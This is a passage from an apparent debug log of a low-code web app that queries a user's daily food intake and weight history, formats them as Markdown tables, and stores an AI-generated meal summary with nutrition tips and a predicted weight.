  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-16T13:51:37.554Z server-connect:output items_consumed_today: [
  {
    id: 402,
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)'
  },
  {
    id: 403,
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)'
  },
  {
    id: 404,
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)'
  },
  {
    id: 405,
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)'
  },
  {
    id: 406,
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)'
  },
  {
    id: 407,
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)'
  },
  {
    id: 408,
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)'
  },
  {
    id: 409,
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)'
  },
  {
    id: 410,
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)'
  },
  {
    id: 411,
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  },
  {
    id: 412,
    item_name: 'Papaya',
    calories: 52,
    protein_gm: 1,
    carbs_gm: 13,
    fat_gm: 0,
    quantity: '3 slices (approx 120g, assuming 40g per slice)'
  }
]
2025-12-16T13:51:37.554Z server-connect:app Executing action step paged
2025-12-16T13:51:37.554Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-16T13:51:37.557Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 12,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-16T13:51:37.557Z server-connect:app Executing action step run
2025-12-16T13:51:37.557Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-16T13:51:37.557Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  "| 402 | Milk Tea (without sugar, assuming full-fat cow's milk) | 48 | 3 | 4 | 3 | Half cup (approx 120ml total beverage) |\n" +
  '| 403 | Idli (light fried) | 290 | 7 | 52 | 8 | 4 pieces (approx 200g idli + 6.75g oil) |\n' +
  '| 404 | Ketchup | 12 | 0 | 3 | 0 | 1 sachet (approx 12g) |\n' +
  '| 405 | Green Tea | 0 | 0 | 0 | 0 | 1 cup (240ml) |\n' +
  '| 406 | Milk Sugar Coffee | 132 | 4 | 24 | 2 | 1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar) |\n' +
  '| 407 | Roti (Whole Wheat) | 375 | 12 | 75 | 3 | 3 medium (approx 40g each, total 120g) |\n' +
  '| 408 | Aloo Gobi Sabzi | 214 | 3 | 18 | 15 | 1 medium bowl (approx 150g, assuming moderate oil) |\n' +
  '| 409 | Digestive Biscuits | 152 | 2 | 22 | 6 | 2 biscuits (approx 32g, assuming 16g per biscuit) |\n' +
  '| 410 | Makhana (Fox Nuts) | 88 | 2 | 19 | 0 | 1 handful (approx 25g) |\n' +
  '| 411 | Green Tea | 2 | 0 | 1 | 0 | 1 cup (approx 240ml) |\n' +
  '| 412 | Papaya | 52 | 1 | 13 | 0 | 3 slices (approx 120g, assuming 40g per slice) |\n' +
  '\n'
2025-12-16T13:51:37.557Z server-connect:app Executing action step run
2025-12-16T13:51:37.558Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-16T13:51:37.558Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-16T13:51:37.558Z server-connect:app Executing action step setvalue
2025-12-16T13:51:37.558Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-16T13:51:37.558Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  "| 402 | Milk Tea (without sugar, assuming full-fat cow's milk) | 48 | 3 | 4 | 3 | Half cup (approx 120ml total beverage) |\n" +
  '| 403 | Idli (light fried) | 290 | 7 | 52 | 8 | 4 pieces (approx 200g idli + 6.75g oil) |\n' +
  '| 404 | Ketchup | 12 | 0 | 3 | 0 | 1 sachet (approx 12g) |\n' +
  '| 405 | Green Tea | 0 | 0 | 0 | 0 | 1 cup (240ml) |\n' +
  '| 406 | Milk Sugar Coffee | 132 | 4 | 24 | 2 | 1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar) |\n' +
  '| 407 | Roti (Whole Wheat) | 375 | 12 | 75 | 3 | 3 medium (approx 40g each, total 120g) |\n' +
  '| 408 | Aloo Gobi Sabzi | 214 | 3 | 18 | 15 | 1 medium bowl (approx 150g, assuming moderate oil) |\n' +
  '| 409 | Digestive Biscuits | 152 | 2 | 22 | 6 | 2 biscuits (approx 32g, assuming 16g per biscuit) |\n' +
  '| 410 | Makhana (Fox Nuts) | 88 | 2 | 19 | 0 | 1 handful (approx 25g) |\n' +
  '| 411 | Green Tea | 2 | 0 | 1 | 0 | 1 cup (approx 240ml) |\n' +
  '| 412 | Papaya | 52 | 1 | 13 | 0 | 3 slices (approx 120g, assuming 40g per slice) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-16T13:51:37.558Z server-connect:app Executing action step processWithGemini
2025-12-16T13:51:37.558Z server-connect:app options: { request_type: 'meal_summary', raw_text: '{{raw_value}}' }
2025-12-16T13:51:39.200Z server-connect:output health_summary: {
  summary: "Today's food intake shows a decent variety of Indian staples, with several fibrous fruits and vegetables included. Protein sources appear somewhat limited across the day's meals. Meal timing seems spread out, which is generally positive. The inclusion of multiple beverages with added components warrants attention for optimizing nutrient density.",
  rating: 6,
  good_points: [
    'Inclusion of fiber-rich foods like papaya and makhana.',
    'Several servings of green tea are beneficial for hydration and antioxidants.',
    'Meals are distributed throughout the day, supporting consistent energy levels.',
    'Roti and Aloo Gobi provide complex carbohydrates and some vegetables.'
  ],
  bad_points: [
    'Protein content seems to be on the lower side, which is crucial for muscle development.',
    'Multiple beverages like milk tea and milk sugar coffee contribute without significant nutritional value for muscle building.',
    'Digestive biscuits add processed carbohydrates and fats without substantial benefits.'
  ],
  suggestions: [
    'Incorporate more dedicated protein sources in meals like dal, paneer, or lean meats.',
    'Consider reducing or modifying the milk tea and coffee to enhance protein or nutrient intake.',
    'Prioritize whole, unprocessed snacks over items like digestive biscuits.',
    'Ensure adequate hydration throughout the day, beyond just tea.'
  ],
  predicted_weight_trend: 'slight decrease',
  predicted_weight: 70.1
}
2025-12-16T13:51:39.200Z server-connect:app Executing action step condition
2025-12-16T13:51:39.200Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-16T13:51:39.200Z server-connect:app Executing action step delete
2025-12-16T13:51:39.200Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-16T13:51:39.201Z server-connect:output delete: { affected: 1 }
2025-12-16T13:51:39.201Z server-connect:app Executing action step insert
2025-12-16T13:51:39.201Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-16T13:51:39.202Z server-connect:output insert: { affected: 1, identity: 17 }
2025-12-16T13:51:39.202Z server-connect:output condition: undefined
2025-12-16T13:51:39.415Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T13:51:39.416Z server-connect:app Executing action step identify
2025-12-16T13:51:39.416Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:39.416Z server-connect:output identity: 1
2025-12-16T13:51:39.416Z server-connect:app Executing action step restrict
2025-12-16T13:51:39.416Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:39.417Z server-connect:output restrict: undefined
2025-12-16T13:51:39.417Z server-connect:app Executing action step single
2025-12-16T13:51:39.417Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T13:51:39.417Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's food intake shows a decent variety of Indian staples, with several fibrous fruits and vegetables included. Protein sources appear somewhat limited across the day's meals. Meal timing seems spread out, which is generally positive. The inclusion of multiple beverages with added components warrants attention for optimizing nutrient density.",
    bad_points: [
      'Protein content seems to be on the lower side, which is crucial for muscle development.',
      'Multiple beverages like milk tea and milk sugar coffee contribute without significant nutritional value for muscle building.',
      'Digestive biscuits add processed carbohydrates and fats without substantial benefits.'
    ],
    good_points: [
      'Inclusion of fiber-rich foods like papaya and makhana.',
      'Several servings of green tea are beneficial for hydration and antioxidants.',
      'Meals are distributed throughout the day, supporting consistent energy levels.',
      'Roti and Aloo Gobi provide complex carbohydrates and some vegetables.'
    ],
    suggestions: [
      'Incorporate more dedicated protein sources in meals like dal, paneer, or lean meats.',
      'Consider reducing or modifying the milk tea and coffee to enhance protein or nutrient intake.',
      'Prioritize whole, unprocessed snacks over items like digestive biscuits.',
      'Ensure adequate hydration throughout the day, beyond just tea.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'slight decrease'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T13:51:47.539Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-16T13:51:47.539Z server-connect:app Executing action step identify
2025-12-16T13:51:47.539Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:47.539Z server-connect:output identity: 1
2025-12-16T13:51:47.539Z server-connect:app Executing action step restrict
2025-12-16T13:51:47.539Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:51:47.540Z server-connect:output restrict: undefined
2025-12-16T13:51:47.540Z server-connect:app Executing action step select
2025-12-16T13:51:47.540Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-16T13:51:47.541Z server-connect:output items_consumed_today: [
  {
    id: 402,
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)'
  },
  {
    id: 403,
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)'
  },
  {
    id: 404,
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)'
  },
  {
    id: 405,
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)'
  },
  {
    id: 406,
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)'
  },
  {
    id: 407,
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)'
  },
  {
    id: 408,
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)'
  },
  {
    id: 409,
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)'
  },
  {
    id: 410,
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)'
  },
  {
    id: 411,
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  },
  {
    id: 412,
    item_name: 'Papaya',
    calories: 52,
    protein_gm: 1,
    carbs_gm: 13,
    fat_gm: 0,
    quantity: '3 slices (approx 120g, assuming 40g per slice)'
  }
]
2025-12-16T13:51:47.541Z server-connect:app Executing action step paged
2025-12-16T13:51:47.541Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-16T13:51:47.542Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 12,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-16T13:51:47.542Z server-connect:app Executing action step run
2025-12-16T13:51:47.542Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-16T13:51:47.543Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  "| 402 | Milk Tea (without sugar, assuming full-fat cow's milk) | 48 | 3 | 4 | 3 | Half cup (approx 120ml total beverage) |\n" +
  '| 403 | Idli (light fried) | 290 | 7 | 52 | 8 | 4 pieces (approx 200g idli + 6.75g oil) |\n' +
  '| 404 | Ketchup | 12 | 0 | 3 | 0 | 1 sachet (approx 12g) |\n' +
  '| 405 | Green Tea | 0 | 0 | 0 | 0 | 1 cup (240ml) |\n' +
  '| 406 | Milk Sugar Coffee | 132 | 4 | 24 | 2 | 1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar) |\n' +
  '| 407 | Roti (Whole Wheat) | 375 | 12 | 75 | 3 | 3 medium (approx 40g each, total 120g) |\n' +
  '| 408 | Aloo Gobi Sabzi | 214 | 3 | 18 | 15 | 1 medium bowl (approx 150g, assuming moderate oil) |\n' +
  '| 409 | Digestive Biscuits | 152 | 2 | 22 | 6 | 2 biscuits (approx 32g, assuming 16g per biscuit) |\n' +
  '| 410 | Makhana (Fox Nuts) | 88 | 2 | 19 | 0 | 1 handful (approx 25g) |\n' +
  '| 411 | Green Tea | 2 | 0 | 1 | 0 | 1 cup (approx 240ml) |\n' +
  '| 412 | Papaya | 52 | 1 | 13 | 0 | 3 slices (approx 120g, assuming 40g per slice) |\n' +
  '\n'
2025-12-16T13:51:47.543Z server-connect:app Executing action step run
2025-12-16T13:51:47.543Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-16T13:51:47.544Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-16T13:51:47.544Z server-connect:app Executing action step setvalue
2025-12-16T13:51:47.544Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-16T13:51:47.544Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  "| 402 | Milk Tea (without sugar, assuming full-fat cow's milk) | 48 | 3 | 4 | 3 | Half cup (approx 120ml total beverage) |\n" +
  '| 403 | Idli (light fried) | 290 | 7 | 52 | 8 | 4 pieces (approx 200g idli + 6.75g oil) |\n' +
  '| 404 | Ketchup | 12 | 0 | 3 | 0 | 1 sachet (approx 12g) |\n' +
